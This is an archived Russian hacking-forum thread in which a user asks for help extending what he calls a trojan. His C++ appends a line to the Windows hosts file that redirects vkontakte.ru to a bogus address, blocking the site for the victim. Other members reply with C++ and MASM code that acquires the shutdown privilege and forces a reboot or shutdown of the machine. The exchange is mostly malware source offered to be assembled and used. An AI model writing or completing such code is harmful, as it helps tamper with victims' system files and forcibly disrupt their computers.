Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Помогите дописать к трояну перезагрузку ПК

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Программы для взлома] >> Помогите дописать к трояну перезагрузку ПК
Имя
Сообщение << Старые топики   Новые топики >>
Помогите дописать к трояну перезагрузку ПК - 2010-08-26 20:02:46.520000   
You_DAD

Сообщений: 60
Оценки: 0
Присоединился: 2010-02-26 20:27:36.206666
Собственно есть :

#include &lt;iostream&gt; #include &lt;fstream&gt; using namespace std; int main(){ freopen("C:/WINDOWS/system32/drivers/etc/hosts","at",stdout); unsigned int a = 0; while(a&lt;=1000){ a++; // cout&lt;&lt;"\n"; } cout&lt;&lt;"111111 vkontakte.ru";
Подскажите, как сделать ко всему этому еще и перезагрузку ПК
Post #: 1
RE: Помогите дописать к трояну перезагрузку ПК - 2010-08-26 20:12:16.350000   
Surft

Сообщений: 252
Оценки: 5
Присоединился: 2010-08-25 07:23:20.633333
Ты хоть указывай на каком языке ты пишеш?
Post #: 2
RE: Помогите дописать к трояну перезагрузку ПК - 2010-08-26 20:25:22.183333   
You_DAD

Сообщений: 60
Оценки: 0
Присоединился: 2010-02-26 20:27:36.206666
Этот я в инете посмотрел, сам не пишу:) а так это вроде C++

P.S. Можно просто ссылку на статью по написанию троянов, самому даже интересней разобраться
Post #: 3
RE: Помогите дописать к трояну перезагрузку ПК - 2010-08-26 21:05:27.486666   
Surft

Сообщений: 252
Оценки: 5
Присоединился: 2010-08-25 07:23:20.633333
Я на С++ никогда не работал.
Если есть вопросы по VB или Дельфи спрашивай
а по С++ хочеш ищи здесь - http://www.google.ru/search?hl=ru&newwindow=1&q=%D1%83%D1%80%D0%BE%D0%BA%D0%B8+%D0%BD%D0%B0+C%2B%2B&aq=f&aqi=&aql=&oq=&gs_rfai=
Post #: 4
RE: Помогите дописать к трояну перезагрузку ПК - 2010-08-26 21:32:23.853333   
Backdoor_

Сообщений: 212
Оценки: 0
Присоединился: 2010-05-27 15:33:14.940000
BOOL SetCurrentPrivilege( LPCTSTR Privilege, BOOL bEnablePrivilege ) { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp, tpPrevious; DWORD cbPrevious = sizeof( TOKEN_PRIVILEGES ); BOOL bSuccess = FALSE; if ( ! LookupPrivilegeValue( NULL, Privilege, &luid ) ) return FALSE; if( ! OpenProcessToken( GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken ) ) return FALSE; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = 0; AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof( TOKEN_PRIVILEGES ), &tpPrevious, &cbPrevious ); if ( GetLastError() == ERROR_SUCCESS ) { tpPrevious.PrivilegeCount = 1; tpPrevious.Privileges[0].Luid = luid; if ( bEnablePrivilege ) tpPrevious.Privileges[0].Attributes |= ( SE_PRIVILEGE_ENABLED ); else tpPrevious.Privileges[0].Attributes &= ~( SE_PRIVILEGE_ENABLED ); AdjustTokenPrivileges( hToken, FALSE, &tpPrevious, cbPrevious, NULL, NULL ); if ( GetLastError() == ERROR_SUCCESS ) bSuccess=TRUE; } CloseHandle( hToken ); return bSuccess; } if (!SetCurrentPrivilege( SE_SHUTDOWN_NAME, TRUE ) ) { ::MessageBox(0,"Недостаточно привилегий!","",MB_OK); } ExitWindowsEx(EWX_REBOOT, 0);
Post #: 5
RE: Помогите дописать к трояну перезагрузку ПК - 2010-08-26 23:36:35.376666   
You_DAD

Сообщений: 60
Оценки: 0
Присоединился: 2010-02-26 20:27:36.206666
то есть код должен выглядеть так?

#include &lt;iostream&gt; #include &lt;fstream&gt; using namespace std; int main(){ freopen("C:/WINDOWS/system32/drivers/etc/hosts","at",stdout); unsigned int a = 0; while(a&lt;=1000){ a++; // cout&lt;&lt;"\n"; } cout&lt;&lt;"111111 vkontakte.ru"; BOOL SetCurrentPrivilege( LPCTSTR Privilege, BOOL bEnablePrivilege ) { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp, tpPrevious; DWORD cbPrevious = sizeof( TOKEN_PRIVILEGES ); BOOL bSuccess = FALSE; if ( ! LookupPrivilegeValue( NULL, Privilege, &luid ) ) return FALSE; if( ! OpenProcessToken( GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken ) ) return FALSE; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = 0; AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof( TOKEN_PRIVILEGES ), &tpPrevious, &cbPrevious ); if ( GetLastError() == ERROR_SUCCESS ) { tpPrevious.PrivilegeCount = 1; tpPrevious.Privileges[0].Luid = luid; if ( bEnablePrivilege ) tpPrevious.Privileges[0].Attributes |= ( SE_PRIVILEGE_ENABLED ); else tpPrevious.Privileges[0].Attributes &= ~( SE_PRIVILEGE_ENABLED ); AdjustTokenPrivileges( hToken, FALSE, &tpPrevious, cbPrevious, NULL, NULL ); if ( GetLastError() == ERROR_SUCCESS ) bSuccess=TRUE; } CloseHandle( hToken ); return bSuccess; } if (!SetCurrentPrivilege( SE_SHUTDOWN_NAME, TRUE ) ) { ::MessageBox(0,"Недостаточно привилегий!","",MB_OK); } ExitWindowsEx(EWX_REBOOT, 0);
Пробую компилировать , ошибку выдает
Post #: 6
RE: Помогите дописать к трояну перезагрузку ПК - 2010-08-26 23:45:40.826666   
Flint_ta

Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
&nbsp;&nbsp;&nbsp; .586 &nbsp;&nbsp;&nbsp; .model small, stdcall &nbsp;&nbsp;&nbsp; option casemap :none &nbsp;&nbsp;&nbsp; include \MASM32\INCLUDE\user32.inc &nbsp;&nbsp;&nbsp; include \MASM32\INCLUDE\kernel32.inc &nbsp;&nbsp;&nbsp; include \MASM32\INCLUDE\advapi32.inc &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; includelib \MASM32\LIB\kernel32.lib &nbsp;&nbsp;&nbsp; includelib \MASM32\LIB\user32.lib &nbsp;&nbsp;&nbsp; includelib \MASM32\LIB\advapi32.lib ; ######################################################################### .data time dd 10000; кол-во мс перед выключением SeShutdownPrivilege db "SeShutdownPrivilege", 0 .data? id db 4 dup (?) hToken db 4 dup (?) tkpPrivilegeCount db 4 dup (?) pLocalId db 8 dup (?) tkpPrivilegesAttributes db 4 dup (?) .code start: push dword ptr ds:[time] Call Sleep call GetCurrentProcess mov dword ptr ds:[id], eax push offset hToken push 28h push eax call OpenProcessToken push offset pLocalId push offset SeShutdownPrivilege push 0 Call LookupPrivilegeValueA mov dword ptr ds:[tkpPrivilegeCount], 1 mov dword ptr ds:[tkpPrivilegesAttributes], 2 push 0 push 0 push 0 push offset tkpPrivilegeCount push 0 push dword ptr ds:[hToken] call AdjustTokenPrivileges PUSH 0 PUSH 6 CALL ExitWindowsEx push 0 call ExitProcess end start ; #########################################################################
Post #: 7
Страниц:  [1]
Все форумы >> [Программы для взлома] >> Помогите дописать к трояну перезагрузку ПК







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.